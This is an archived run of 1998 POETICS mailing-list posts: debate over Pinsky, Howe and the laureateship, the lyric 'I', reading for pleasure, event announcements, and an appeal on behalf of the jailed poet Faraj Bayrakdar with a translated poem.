Tom, have you looked at NYQ (New York Quarterly)? ed. William Packard has been choosing different fonts for each poem for many years. I have my doubts about the results, but you should definitely take a look at what he does. It's still in that "linearity" mode, for the most part, I guess, but trying to move it. best, Sylvester

> *What's interesting is that no-one (with a few exceptions, such as "The Pander", which is a more general arts/culture/politics magazine) is aiming for a potential third approach: a consciously-designed "magazine" look, rather than either the linearity of an academic journal or the "Word default" look. It seems that layered type, Emigre fonts, blurring the line between type & image, and all the other tropes of contemporary design are reserved for skateboarding magazines and annual reports.*
>
> *Anyway, while Gabriel intended it as a joke, there _is_ a lot to read into something like the choice of typeface. Fonts signify. If anyone has any examples from the US (or elsewhere) that choose other paths, I'd love to know.*
>
> *Cheers,*
> *Tom Beard.*

↑ Index

840. **Emily Lloyd**
bobbing for laurels
Wed 25 Nov 1998

Charles writes: and "Lyn Hejinian [should be] the poet laureate of the USA"

Oh, no. Oh, no no no. "Lyn Hejinian" rolls off the tongue so well that it'd be an acoustic tragedy if she changed her name to Robert. That's the prereq., yes? Sooner or later, if laureate pickers in motion tend to stay in motion, they've got to get to Creeley; let us give thanks for that.

em

↑ Index

841. **henry**
ye olde SORRY - delete
Wed 25 Nov 1998

---

sorry - classic backchannel should-have-been. HEY SEND NEDGE SOME WORK ANYWAY!!!! WE USE "FUNNY FONT" - AN ELASTIC ALPHABET COMBINING MANDARIN WITH STONE RUBBINGS FROM WAMPANOAG ROCK CARVINGS!!

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842. **Anya Lewin**
IET details
Wed 25 Nov 1998

>X-Sender: [redacted]
>Date: Wed, 25 Nov 1998 16:01:31 +0000
>To: Anya Lewin <[redacted]>
>From: [redacted]
>Subject: IET details
>
>Greetings!
>
>Writing Research Associates UK / NL in association with the Utrecht School
>of the Arts, NL and Dartington College of Arts, UK are pleased to announce:
>
>IN THE EVENT OF TEXT: EPHEMERALITIES OF WRITING
>a second international symposium on writing & performance
>Utrecht, Netherlands
>April 28 - May 2, 1999
>
>[PLEASE SEND REGISTRATION FORM (see below) TO: <[redacted]>]
>
>'In the Event of Text' is a 5-day symposium on contemporary strategies in
>performance and writing with intensive workshops led by artists of
>international reputation and working with writing in various media.
>
>The four 3-day intensive workshops run in parallel, are based in practice,
>and will be concerned with ephemerality, exploration and process in
>differing media. the contents of the workshops feed into the 2-day

>conference weekend and provide a convergence of issues and debates in
>contemporary performance writing. Workshops will be lead by * Jason E.
>Bowman (visual artist), * Paul Pourveur (playwright),
> * Leslie Hill & Helen Paris (digital artists) & * Sianed Jones (voice
>artist). Further details of the workshops are available at
><http://www.hku.nl/events/iet> or on request by post) or by email (see
>contact addresses below) from December 1998.
>
>
>The conference will include papers, presentations and panel discussions
>around ideas of the ephemeralities of writing, and text as event. papers
>will include recent work on tactical media * poetics * telematics *
>authoring * post-dramatic texts * internet radio collaborations * text and
>memory.
>
>'In the Event of Text' aims to explore, through work and discussion, the
>ways in which writing can be seen to function as a time-based, transient,
>ephemeral artform when played out in the context of different media and
>environments. curated work will take place under the following broad
>categories:
>
>* the disappearing text and contemporary live performance
>* the dispersal of written material through new interactive and sonic media
>* electronic writings, cybertext and hypertext
>* the local sites of mobilised writing including poetic and book-based
>practices
>
>Emphasis is placed on performances, installations, readings, open showings
>and curated exhibitions as an integral part of the conference. A virtual
>cybertext collaboration will be initiated by writer in residence John
>Cayley. The first symposium in the series was held at Dartington, England
>in April 1996. [See
>http://www.dartington.ac.uk/Performance_Writing/perf_writing.home.html].
>The conference language will be English.
>
>Invited contributors include:
>* Fabienne Audéoud * Jason E. Bowman * Arnold Dreyblatt * David Garcia *
>Heidi Grundmann
>* Leslie Hill & Helen Paris * Sianed Jones * Kirsten Lavers * Hans-Thies
>Lehmann * Tertia Longmire
>* Jurrienne Ossewold * Paul Pourveur * Joan Retallack * Paul Sermon *
>Enno Stahl * Aaron Williamson

>
>Writer-in-Residence: * John Cayley
>Exhibitions Curator: * cris cheek
>Catalogue: * Sally Tallant
>
>Initiated & Organized by: * Ric Allsopp * Caroline Bergvall * Nirav
Christophe
>
>Contacts: Conference website: http://www.hku.nl/events/iet * Conference
>email: [redacted]
>Conference contact address: IET, HKU Faculteit Theater, Janskerkhof 18,
>3512 BM, Utrecht, NL.
>
>~~~

>* Dates: 'in the event of text' will open on wednesday 28 april at 12.00
>(registration 10.00-12.00) and finish on sunday 2 may at 18.00. *
>registration for conference only (friday 30 april - sunday 2 may) will be
>between 17.00 - 18.00 on friday 30 april (conference begins at18.00).
>
>* Fees: fees include all conference events, performances and exhibitions;
>tea, coffee, lunch, and supper on friday 30 april only. accommodation is
>NOT included.
>
> [ ] workshop & conference inclusive (5 days) NFL. 500 (£175)
> [ ] conference only (2 days) NFL. 250 (£90)
>
>* Workshop choice: (please indicate first & second choices)
>
>Workshop 1: Paul Pourveur [ ]
>Workshop 2: Leslie Hill & Helen Paris [ ]
>Workshop 3: Jason E. Bowman [ ]
>Workshop 4: Sianed Jones [ ]
>
>Early booking for workshops is advised as there is a maximum of 10
>participants per workshop
>
>* Accommodation & Travel: participants will need to arrange their own
>accommodation and travel
>
>Please send * list of hotels and guesthouses [ ] * travel information
>[ ]
>
>* Food: lunch will be provided from wednesday 28 april - sunday may 2.
>supper will be included on friday 30 april
>
>* Specific Needs: Dietary requirements: * vegetarian [ ] *
>non-vegetarian [ ] * Other [ ]
>* Other needs: (please specify) [
>
>* Payment: Payment in full should be made by April 1st EITHER by transfer
>to Postbank No. 2354345 in name of 'HKU/Theater Utrecht' mentioning 'IET'
>OR by UK or NL bank cheque/ Eurocheque/ International postal or money or-
der
>made payable to 'HKU/Theater Utrecht' and sent to address below.
>
>Nirav Christophe, In the Event of Text, HKU Faculteit Theater, Janskerkhof

>18, 3512 BM, Utrecht, NL
>tel. 0031 30 [redacted], fax. 0031 30 [redacted].
>
>[PLEASE SEND REGISTRATION FORM (see above) TO: <[redacted]>]
>
>****END****
>
>~~~~~~~~~~~~
>Writing Research Associates, UK
>Amberleigh, East Allington, Totnes,
>Devon UK. TQ9 7RD
>tel. 0044 (0)1548 521436
>   0044 (0)1803 861631
>fax. 0044 (0)1803 866053
>email. [redacted]
>www. http://huizen.dds.nl/~sdela/wra
>
>Caroline Bergvall
>Performance Writing, Director
>Dartington College of Arts
>Totnes, Devon TQ9 6EJ, England
>
>
>

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843. **Maria Damon**
Re: Thoughts on the Pinsky/Howe
Wed 25 Nov 1998

---

coming late to this and tried to stay out of it. my tendencies as you know are toward the michael bibby end of the pole, though i like very much marjorie AND robert von hallberg as colleagues. and this more i have to say about marjorie's post. i've learned not to mind, to even appreciate, poets' strong likes and dis-likes in other poetry. but to blame the proliferation and hegemonic popularity of poets like PINSKY on MULTICULTURAL TOLERANCE, for Godsake. Methinks someone slipped up here. Is affirmative action (which has certainly resulted in OUR being as well treated as we are, Marjorie, like it or not) really responsible for the popularity of poets like Robert Frost, Robert Hass, Robert Pinsky and all those other crusty, fusty Roberts that everyone oohs and ahhs over? Did folks really die in the 1960s and 70s, shot by police in their sleep or as they worked out in the prison yard, so that Black studies programs etc could be established,

living conditions improved, infant mortality curbed, and the ROBERT Barons put in power? i mean, puh-leeze. perhaps "hordes of foreign immigrants" are responsible for the current impeachment proceedings. perhaps we should abdicate our right to vote and to hold property and to be gainfully employed in a manner commensurate with our talents and aspirations so that we can get Susan Howe declared poet laureate. it seems to me that multicultural tolerance has done a great deal more good than harm in the academy, in the poetry scene, and specifically in unseating the status quo in the nexus between poetry and visibility/power.

↑ Index

844. R. Gancie/C.Parcelli

Re: pleasure

Wed 25 Nov 1998

O.K. Omnius Kollidimus. As Ollover Krumwall sayed when he slepped ueber his grannyamother. Kangaroose feathers. Who in the name thunder'd ever belevin you were that bolt? But you're holy mooxed and gaping up the wrong palce as if was seeheeing the gheist that stays forenenst, you blessed simpletop domefool! Where's your belested loiternan's lamp? You must lap wandret down the bluishing refluction below. Her trunk's not her brainbox. Hear where the bolgylines, Yseen here the puncture. So he done it. Luck! See her good. Well, well, well, well! O dee, O dee, that's very lovely! We like Simperspreach Hammeltones to fellow Selvertunes O'Haggans. --- Troping, Ix florted twad Musstus Isendhowitzers, slurping her his hemlook.---I kon lysurgically entfart that moul with my bouche, mordamn, he slaid.---Dinka, applead the laidy, but hausa dem ultratheen shempskeen connundumns.---Is that a quetschen, me poky hole?---No, an ardor, me pine noodle!---O, Maim me! --- I know I'm having a good time.---Carlo Parcelli

schuchat wrote
> I guess some people just don't know how to have a good time.
>
> R. Gancie/C.Parcelli wrote:
> >
> > Mr. Schuchat: Who said there was anything wrong with reading for
> > pleasure. I was merely pointing out that when you attempt to browbeat a
> > pinsky people into reading, say, Olson's Maximus, there usual response
> > is along the lines that I only read peauxtry for pleasure. Then when I
> > reply that I read the Maximus for pleasure, they look at me, as though
> > I'm nuts or a liar. I'm gettin' a complex from it. Can you help
> > me?---Carlo Parcelli

↑ Index

845. Fredrik Hertzberg LIT
Re: Thoughts on the Pinsky/Howe
Wed 25 Nov 1998

On Wed, 25 Nov 1998, Maria Damon wrote:

> *poets' strong likes and dislikes in other poetry. but to blame the proliferation and hegemonic popularity of poets like PINSKY on MULTICULTURAL TOLERANCE, for Godsake. Methinks someone slipped up here.*

I didn't read Perloff's mail as blaming Pinsky's popularity on multicultural tolerance. What I thought she said was that a NOMINAL multiculturalism has created a situation where tolerance has become an unquestionable virtue. And that few (academics) make a case for poetry they feel strongly for, or the value of which they believe in. Which includes, I guess, a multiculturalism that doesn't only pay homage to domestic mainstream poetic values.

Speaking as someone doing research on poetry I feel I have to ask if there aren't people on this list who read poetry not for pleasure mainly or for personal reasons, but because of a more general interest in language, reading and writing? Not that these interests exclude each other, but for me poetry is not something I usually feel strongly about or believe in. Nevertheless I have a great interest in poetry as a way of reading, & a possibility of self-reflective linguistic construction. Feeling strongly rarely enters the picture, but it's difficult to be interested in someone like Pinsky cause it's not construction work whereas Howe is.

Fred

↑ Index

846. Pierre Joris
Faraj Bayrakdar
Wed 25 Nov 1998

Now that the Pinsky/Howe thread (or rather the egoless egos's chewing of that bit of american fat) has spooled itself down & out ad nauseam, and just before every good thinking american poet gets down to his or her turkey or tofu thing, permit me to offer up a meager morsel for thought. Not about the lesser or greater redundancy of a laureate's work, or the lesser or greater hackademic acceptance or non-acceptance of an experimentalist's work, but about a matter of actual existence for a poet. How many on this so well-read & -spoken list know who Faraj Bayrakdar is?

He is a poet, like you and me, except he is a Libyan poet who has now spent all of the last 11 years in jail, goulaged for life by a repressive system for having publicly advocated democratic reform, asked for the liberation of all political prisoners, and — most likely the worst offense, because it did reach print — dared to publish and tried to keep going an independent poetry magazine. Repeated queries to the Libyan Embassy always gave him as "disappeared," until recently when Michel Deguy, Abdellatif Laabi and several other poets yet again went to the Libyan Embassy in Paris where they were told that Faraj Bayrakdar in fact ... "did not exist."

He does, and has managed to smuggle work out of jail, clandestinely published in Beirut and now in translation in France, under the title "Neither Dead nor Alive." Here a retranslation (after Abdellatif Laabi's French version) of "Portrait" -- that of a prison guard.

Malediction said to him: be
and he was
His eyes, two blackened copper buttons
His nose, a badly drawn exclamation point
His mouth, a revolver's silencer
And in the detonator, his tongue
On his shoulders, peacock insignias
bloated with defeats
His debts
threaten the blood banks
with all out bankruptcy
With his blind heart
he protects us
and with barbed wire
he guards us
His intentions are booby trapped
and his smile announces carnage
For him death is wisdom's surrogate
and hell justice's
Excuse me, I have to stop
I'm nauseous
Maybe he is not totally like that
And yet

(February 1993)

Pierre

--
==========

Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

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847. **MAYHEW**
Re: Thoughts on the Pinsky/Howe
Wed 25 Nov 1998

If feeling strongly about poetry rarely enters into the picture I would guess you're in a very small minority of subscribers to the list. We don't just "do research on poetry." And my interest in reading, writing, and language is not "general" but extremely specific. Poetry is at the center of this for me.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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848. **schuchat**
Re: pleasure
Wed 25 Nov 1998

I guess some people just don't know how to have a good time.

R. Gancie/C.Parcelli wrote:
>
> Mr. Schuchat: Who said there was anything wrong with reading for
> pleasure. I was merely pointing out that when you attempt to browbeat a
> pinsky people into reading, say, Olson's Maximus, there usual response
> is along the lines that I only read peauxtry for pleasure. Then when I
> reply that I read the Maximus for pleasure, they look at me, as though
> I'm nuts or a liar. I'm gettin' a complex from it. Can you help
> me?---Carlo Parcelli

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849. Joe Amato/Kass Fleisher
Re: Thoughts on the Pinsky/Howe
Wed 25 Nov 1998

---

well i understand maria's taking marjorie up on the matter, and i would like to think that nobody here is advocating an anti-civil rights stance (whatever our diverse views may be as to how to go about it)... but inasmuch as i've already said what i had to say about m's post (which has been read reductively in at least two ways on this list), i'll let sleeping dogs lie...

an interesting synchronicity: i've just today rec'd my direct mail for the "tolerance challenge 1999"---incl. my "southern poverty law center/teaching tolerance decal," on the back of which the word is defined as follows:

tol*er*ance n: the capacity for or the practice of recognizing and respecting
the beliefs or practices of others

(the american heritage dictionary)

of course they want me to help "reduce bigotry and prejudice in america by supporting the educational work of TEACHING TOLERANCE"... and so i am asked to enclose a tax-deductible contribution of ____ ($25 or more gets me their mag, a 22-minute "seeking justice" video, and a quarterly newspaper)...

now, assuming all of this is on the up & up (i think it is), there's nothing wrong with any of it, and in fact it sounds to me like it might raise some consciousness (as we used to say)...

but i don't think you can import this notion of "tolerance" into the poetry sphere(s) 'as is' (even setting aside the academic/job issues david k rightly raises)... lots of difficulties associated with doing so, no?... i would imagine, too, that corporate america (though of course it sometimes endorses good causes) would see nothing at all wrong with this effort... which might give us reason to consider that it's, well, not enough---not nearly so---not even from a teaching pov...

anyway///

best,

joe

↑ Index

850. **Eliza McGrand**
Re: I ain't for Iowa
Wed 25 Nov 1998

1) ms. perloff's dig WAS a low dig but, i think, not a good dig at all -- "someone wi power and publications" should certainly participate if she or he chooses in a debate, but it would be nice not to see list beset with catfights, and as to winning, no one wins them. all participants just end up looking bad. one can rebut without participating.

2) gabriel HAS, in fact, been multiply reprimanded both front and back channel. moreover, reprimand has moved to satire and even funpoking -- best methodology for removing "catfight" strain i've seen so far.

3) i WOULD expect betterof ms. perloff because i've not seen her fall into catfight before. and she hasn't ever before, that i've seen, tried to dis and squash people (at least on this list) based on publication/academic creditialing but has respected multiple, open, and slightly wild nature of this venue. if one wants venue where only published academicians allowed to talk, one can go to m.l.a., no? except there'd be considerably less to discuss there since good number of writers (remember writers? what all this is based on, the writers?) are not academicians, so they wouldn't be allowed to be published or discussed.

4) might i ask, could we not engage in pointless pejorative? -- i did not, as it happens, post as i did so that i could go home and write in my journal "i told m. perloff off today" as you suggest. i posted for exactly the reason i said i did, and a pretty good reason it was: iwas strongly distressed at an effort (however hasty and ill thought out and unmeant as i'm sure it was) by one with a fair degree of influence to coral the list over to only those who were published academic critics. it is not the "well published academic critic list," it is the "poetics list" and if you read the charter, it is MEANT to be open to all. and it DID appall me that this corraling came from ms. perloff particularly becuase as far as i've seen, she is last person to want to put down non academics and cut writers out of list. certainly it was a hasty moment of temper, and not unprovoked either. but precisely because she has that bit of influence, i wanted to be quick to add a voice to tip the balance so that list stays open to all.

5)re the "i" thing, of course there are always those who make any trend a vehicle for abominations -- you have only to look at polyester and leisure suits, or george bowering and raincoats, for examples. that goes w/o saying, surely. my point is, again, as i said: that once youget ticked onto this "i" business, there seems to be an awful lot of it, some emanating from people with talent and imagination that seems particularly ill-served by such dull dog tricks and self-indulgence.

the degree of tedium extant in elevation of one's private life, or jokes, to public writingt might, of course, be based in part on skill and in part on material. but surely it is also in part based on Glamour of writer. a truly charismatic writer might convince readers and critics to twist themselves into knots interpreting (consider charges of lit crit investing in the obscure because of High Priest(ess) positions that accrue). what about all those lesser, perhaps, or certainly duller janes and joes who plod along that path, though? or, perhaps, the dianthas and braemores who get kidnapped into being jane and joe dull? the young tender shoots in m.f.a. programs, the anthology readers, the followers of literary journals (in an effort to be published) who subsume their budding imagination to service of this "I I I" mode?

e

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851. **Anya Lewin**

Re

Wed 25 Nov 1998

---

feeling strongly about a way of reading seems to me to be a perfectly fine entrance to poetry even if one has a passion about reading that touches on poetry w/o it being central - reading across mediums - reading as studying, making, writing, less borders. Personally I mostly make pictures sometimes moving ones and an involvement with poetry for me can be about a particular poem or writer but feels more like a general approach and that seems specific.

At 02:11 PM 11/25/98 -0600, you wrote:
>If feeling strongly about poetry rarely enters into the picture I would
>guess you're in a very small minority of subscribers to the list. We don't
>just "do research on poetry." And my interest in reading, writing, and
>language is not "general" but extremely specific. Poetry is at the center
>of this for me.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]
>

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852. **Carl Wilson**
Re: Faraj Bayrakdar
Wed 25 Nov 1998

Thanks, Pierre, for an antidote to all the ego-snipe of the past couple days... is there any org'd action people can take in support of Bayrakdar, aside from the usual contacting embassies/politicians etc.? (Is he a PEN case?)

carl patrick wilson

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853. **Karen Kelley**
Re: the first person (to get laid)
Wed 25 Nov 1998

I dated a Vendler-lionized&anthologized Harvard poetry chair poet almost 15 years ago when I was in charge of the poetry section in a Harvard Square pre-computerized bookstore (btw, Carlo, the people who don't believe you read Olson for pleasure either think you're lying or, if they think themselves erudite, that you're trying to one-up them). Anyhow, this guy is one of the "sensitive" poetry types, but was a BOOR on our date, and he got really mad when I laughed because I realized that the reason he was so grudging about Ashbery winning a MacArthur grant was because he thought he deserved it more. Anyhow, it was a first and a last date, regardless the allure of his dancing.

A few years later in grad school, his name came up. One of my fellow students gushed, "Oooh, I *love* him." I told her I'd known him in Boston, and she asked, "Is he as sensitive as his poetry is??" I felt a little taken aback, it was clear she was invested in his being as sensitive as his poetry.

But what the hell, I told her the truth. She still wouldn't read Maximus, but it was a start.

Tom Beard wrote:

> *"there is only one reason a guy dances in public -- he's trying to get laid."*
>
> *Hey, don't knock it, it works!*
>
> *(or at least it used to - these days I just get arrested)*
>
> *But seriously, Eliza, though you are being a little reductive, it could be a useful reduction. Many (if not all?) writers consider the image that their writing might give their readers, at least in the back of their mind. Perhaps one of the more common impressions that poets (often, but not*

> *entirely, male) are trying to give is, I admit, "I'm sensitive and intelligent, so please sleep with me".*
>
> *Here are some other messages that various poets send out:*
>
> *- "I'm witty and charming, so please invite me to your dinner parties."*
> *- "I'm a double-hard bastard, so don't fuck with me."*
> *- "Hey look! I've read Derrida!"*
> *- "I'm thoughtful and accessible and comforting, so please make me Laureate."*
> *- "Ha, no-one's done _this_ before!"*
> *- "I've got a nice garden full of nice flowers, and a nice house full of nice cushions."*
> *- "If you'd had a proper education, you'd be able to read Provencal and Sanskrit too."*
> *- "I exist, and I have a point of view that's worth reading."*
> *- "I'm such a genius (Byron & Ginsberg & Jim Morrison all rolled into one) that I don't need to revise or edit."*
> *- "If I use 'sd' and 'thru' and 'cld', you might think I was at Black Mountain."*
> *- "I write about drugs & television, so I'm not a boring middle-class fart like you."*

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854. **Pierre Joris**
Re: Faraj Bayrakdar
Wed 25 Nov 1998

Carl Wilson wrote:

> *Thanks, Pierre, for an antidote to all the ego-snipe of the past couple days... is there any org'd action people can take in support of Bayrakdar, aside from the usual contacting embassies/politicians etc.? (Is he a PEN case?)*
>
> *carl patrick wilson*

Not sure yet what the best thing to do is from here. Not even sure if there's a Lybian Embassy in DC these days, depite the fact that the White House, State Department & Mil-Indus Complex have changed their Arab whipping boy this decade.

The French section of the Pen Club is aware & involved -- US Pen members should check with their various branches.

One thing we could do would be to bring out his book in English translation -- and use whatever power we may have together to try & raise awareness of his

fate. And, even faster, one could start by creating a web-page, maybe on the epc (Loss? what you think?).

Could even, strange thought, be the occasion to test the mettle of our US Poet Laureate?!

And I'm sure you all will come up with more ideas.

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

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855. **Mark Baker**
POETICS Readers Reading Right
Wed 25 Nov 1998

> *The folks Carlo Parcelli is writing about don't read for pleasure, they read to have their prejudices confirmed. As against (to quote C.P.) "a natural affinity for texts that take me out of myself so I'm confronted with new worlds of information."*

Poetry, it seems to some, is dangerous, best when the poet doesn't know what will happen, best of all for readers eager to have prejudices overturned.

More cliches from the Why Read Poetry lecturers.

I already know about the prejudices of the "folks" who don't know how to read right. Tell me some prejudices anyone here has had challenged by any particular poem. Does this mean some revelation like, "Before reading this poem-like thing, I thought I was an I, but now we know better"?

Mark Baker

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856. Poetry Project
Kenward Elmslie
Wed 25 Nov 1998

A pre-Thanksgiving reminder:

On Wednesday, December 2 at 8 pm, the Poetry Project hosts a reading by

Kenward Elmslie

Tickets are $7, $4 students and seniors, free for members

Kenward Elmslie's books include the long-awaited and just-published _Routine Disruptions_ from Coffee House Press, which will be on sale the night of the reading at the Project. His other recent books include _The Champ_ and _Sung Sex_, both with drawings by Joe Brainard. Elmslie has written six opera librettos, including _Lizzie Borden_, and the book and lyrics for the Broadway musical _The Grass Harp_. He has toured widely with solo performances of his musical, _Postcards on Parade_.

For more information, call [redacted].

Happy Thanksgiving!

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857. david bromige
happy thanksgiving wishes
Wed 25 Nov 1998

to Charles of Chax Press : George Bowering is already a noted tv and radio personality in B.C. (His voice, as Rachel, Maria, and Eliza can testify, is basso-Profumo). He would make a fine Poet Laureate, as he knows some French phrases as well as the farm argot of the dark interior of his home province. Added to which, he "_is_ " the David Letterman of Canada. The clincher : his book on all the Canuck Premiers is just about written. It will cement his national fame. I'm glad I will be able to say "I knew him when" to his fans as they push past me, Sob.

to Dale Smith of Chip N Dale's Strip Club Zine : Only kiddin', kid. It looked like the thing to do, at the time. Listen, you'll be one of the greats. You got under my skin, but I'll delete your f-c posts in future, for the sake of a peaceful List. Best o' luck, child of my loins! B-c when you find work, & an Aged P cottage behind your Inn of Happiness. All best to your wife, lucky lass.

to George Bowering, Bowering Manor, 29 The Winch, Grimsby : Now you're to be Poet Laureate of Canada and the Orcas Islands, George, you are simply

gonna _have_ ta read those poets from the other side of the blanket. Honestly, it's not so bad--their poems are Evelyn Wood fodder, so not much time spent, and plus which (b) you find out something further about what makes the way _you_ write, distinctive. Well, anyway, the way _I_ write. Oops, but you had your Thanxgvng a month ago, eh? Never mind, then....Back to work!

to Carl Wilson, Yonge and Bathnite, Toronto : Welcome to the List! Some fine maiden posts. Excuse us while we baste the turkeys (it'll be a metaphor of what we do to one another's idols, on the List).

to Enery : Henry, on the bright side, you still know you _have_ your solar plexus. Knowing the sun rises and sets in one's own belly-button ain't so bad. Especially a "solar" as "plexus" as yours, man of many v(o)ices! May the coming year bring you more Indians than Puritans, and all your punkins be sweetie-pies!

to Gabriel Gudding : Well hey man my tight corners fuckin.love.you.too.

They had been preenin n primpin in the bathroom mirror all morning long. He had had to pee in the kitchen sink. Now he was relieved, but they looked ready to express himselves.

to David W. McFadden : where did you go, Dave? Come back to the List! You are sorely missed! Your fans are getting pissed!

Happy Thanxgvng everybody! Who cares what banks fail in Yonkers, long as you got that kiss that conquers! Answer : I do, I do!

Broadway Dave

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858. **Pritchett,Patrick**

Kenward Elmslie at Naropa

Wed 25 Nov 1998

Kenward Elmslie paid us heathens in Boulder a marvelous visit this week past. I'm sorry to say I missed his performance at the Boulder Museum of Contemporary Art, but the raves I heard later were sky-high.

I did, however, catch him last Saturday in the Shamballa Room at Naropa. Although the name conjures up visions of celestial daiquiris (at least for me it does), the place, alas, is quite dry - not a waiter, much less a bar, in sight.

Kenward Elmslie is a very large and graceful man. He looks like a Roman senator -- in tennis shoes -- and carries about him his own private orb of gravitas. The reading began with works from his new collection _Routine Disruptions_, out from Coffee House. The deep, rich baritone of his voice, which at times verged on a basso profundo, belied the antic play of these marvellously witty

poems - and at the same time lent them a graver hilarity. His first poem revelled in the bright obsessional aura of pop figures and icons like Marilyn Monore and James Dean even as it sharply critiqued capitalist pretensions and anxieties over identity. This was followed by a long and very powerful elegy for Joe Brainard that really defies any easy summary -- a deeply moving combination of wryly ironic recollection and honest pathos.

Next, Kenward burst into song. Now, these songs took me a bit of getting used to at first. Perhaps it was the pre-recorded accompaniment, with its electronic drum beat giving it a kind of cheesy Vegas patina, that put me off. But very soon I was completely charmed and won over by these delightful and witty numbers -- Cole Porter (or Sondheim) meets the NY School, ha-cha-cha. Kenward and Steven Taylor performed a number of duets together -- among them: "Propped Up In The Rain;" the rousing "Brazil" (originally from the musical of Capote's "The Grass Harp," and updated to include the latest in scnadla du jour); "They," a laugh out loud funny ditty on paranoia; and the bluesy "One Night Stand." By tunrs these songs were notable for their cheeky joie de vivre, their outrageous over-the-topness, and their sweet and oddly touching qualities.

Also of note: Kenward's solo rendition of "Original Parkway," a tour de force of first lines and an index of titles from a fictional work that creates a vivid and wickedly funny narrative of its author's obsessions and petty grudges. In a word, brilliant. As was the entire evening. Hearing Kenward Elmslie made me think that within every poet is a frustrated song-and-dance person waiting to burst into a tap routine while twirling a cane. Instead, as the Senator intoned, we became the next best thing - writers.

Patrick Pritchett

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859. **Emily Lloyd**
Re: I ain't for Iowa
Wed 25 Nov 1998

Eliza, peace! I typed "It's AS IF people [want to write such & such in their journals]"--I didn't even know you had a journal! It simply seemed as if *many* were adding, almost as afterthoughts to posts which weren't really conerned with the issue, "Bad Critic No Turkey" P.S.s to Marjorie.

Plus, I thought you wanted to initiate a discussion on the "I," that your post was an invitation. If I'd known you just wanted to be agreed with, I would've remained that less close to carpal-tunnel syndrome. (Not to be catty or anything. I don't appreciate [except on "Celebrity Death Match"] cat-fights, either. But I don't expect Marjorie to be wearing a "What Would Jesus Do?" bracelet any more than Gabriel, and I defend her right to defend herself at the level at which

she was attacked. It's not like she can build a fort out of copies of her books and, once respectably inside, not feel blows).

Finally--goodness, I hardly think one slingshot aimed at GG foreshadows MP trying to knock us (I don't know if you're in that us, but I'm in that us) amateurs off the list. Nor do I think that if she were, we'd leave. Do we quit writing when our peers--or even we--get rejection letters? Am I seriously to take your earlier post as an upthrust fist for the proletariat?

Please, please, calm down, before either one of us gets accused of being hysterical females. I think we're supposed to be thankfully cooking or some such.

steadily,
em

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860. **Jim Bennett**
Last chance to see...
Wed 25 Nov 1998

This is a multi-part message in MIME format.

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Please excuse the cross posting.

But there is just enough time for you to catch a plane, boat, train and = get to Liverpool in time to attend the FREE POETRY EVENT OF THE DAY. = Come and be amazed at the courage of two of Liverpool University's = Lecturers presenting their own work to an audience of ravenous students. = Come support them, please bring your own rope.=20

David Bateman and Jim Bennett, in a free reading, at the Everyman = Bistro, Hope Street, Liverpool (Everyman Theatre).

Thursday 26th November (today) - 8pm sharp for a start some time after = that...

be there or be elsewhere.

Love and lots of it.

Jim

Click on this link to vote for my site. =
http://conline.net/vote.mv?id=3D1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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"Poetry=20
is what the future makes of it." John=20
Garner

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861. Eliza McGrand

Re: I ain't for Iowa

Wed 25 Nov 1998

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emily

this wierd-seeming thing (but explicable if one thinks in terms of secure and insecure) happens whenever list kaboxes and blanks. scads of new people (who haven't been through it yet) think their screens are electron-bereft because they've been snipped out for excesses of uncoolness. people SEEM secure, act like they are, but i'll come out and say it here, _I_ wasn't, and after all the "hey, did i get kicked off list" panics i've seen, i KNOW lots of others aren't.

a pretty well known academic squashing someone by saying basically, well who are you to say anything anyway, you haven't ... PUBLISHED! whatever the provocation, is going to make people uncomfortable. it wierded me out. so as i said, regardless of the provocation, i didn't like the idea or the effect. i said so. nicely, but clearly. period. and if ms. p. thinks i was out of line for saying it, maybe she could be left to say so herself to me, eh? re getting off her case, you may not have picked it out, but that is what well over half the messages have been suggesting, including the notes i have NOT sent out over the now infamous "ms. p. was wrong" banner and what every note bannered by mockeries like "g. was wrong" or "my cat is snoring" or "enough already" etc. was doing in a peter-pannish sort of way. in ways that didn't slam gaga (poor thing, after the hydrangea transplant and unsuccessful reconceptualization in shades of morning buttercup and blue blast, he has never been the same), ms. p. has been getting lots of help out of hot seat.

i really don't think there is anything in my post(s), demeanor, responses (many of which have been, so far, giggling), or karma to suggest i wanted instant agreement. just like there was nothing in ditto to suggest i responded to the putting in our unwashed and unpublished place post in order to be able to chalk one up for my Gallant Gabriel Pin Finder in my presumed journals. odd, but many who know me find me NOT to be overzealous in search of righteousness

or brushes with the Great. it is, perhaps, just all the broccoli i have been eating that causes my ennui that way. i pass over the effects of the asparagus except to say, don't visit bowering manner in the spring -- the plumbing has never been what it used to be...

one for the files -- if it had been a nobody, one of the great un-washed/published, i have an odd hunch there are perhaps a smidgin or two of Gallant Defender posts that would not have been posted, n'est ce pas?

yours from the land of the resentfully staring at the CLEAVER before it comes down, but go ahead, eat that turkey anyway, don't mind us, we'll just sit in the dark, suck down Beano pills, and play with our pop-up indicaters till they say "Cooked Through"...

e

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862. Randy Prunty
pronouns
Thu 26 Nov 1998

"I'm only pronouns and I am all of them."

Ted Berrigan from the poem Red Shift as heard on the Exact Change CD

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863. Gabriel Gudding
Loving-Kindness Vibes and one last Bark
Thu 26 Nov 1998

Before I go make my chocolate cake for my fruitcake guest, Jasper, and catapult the 18 lb tofu turkey into the chamber of flaming gas for the tiny family, I just want to wish everyone a great day and say yes in fact I heard George Thompson out there in the west without one tut-tut crackling open his Dhammapada all the way across these Alleghanies, to tell us a little abbot tolerance, one of the 13 mental perfections.

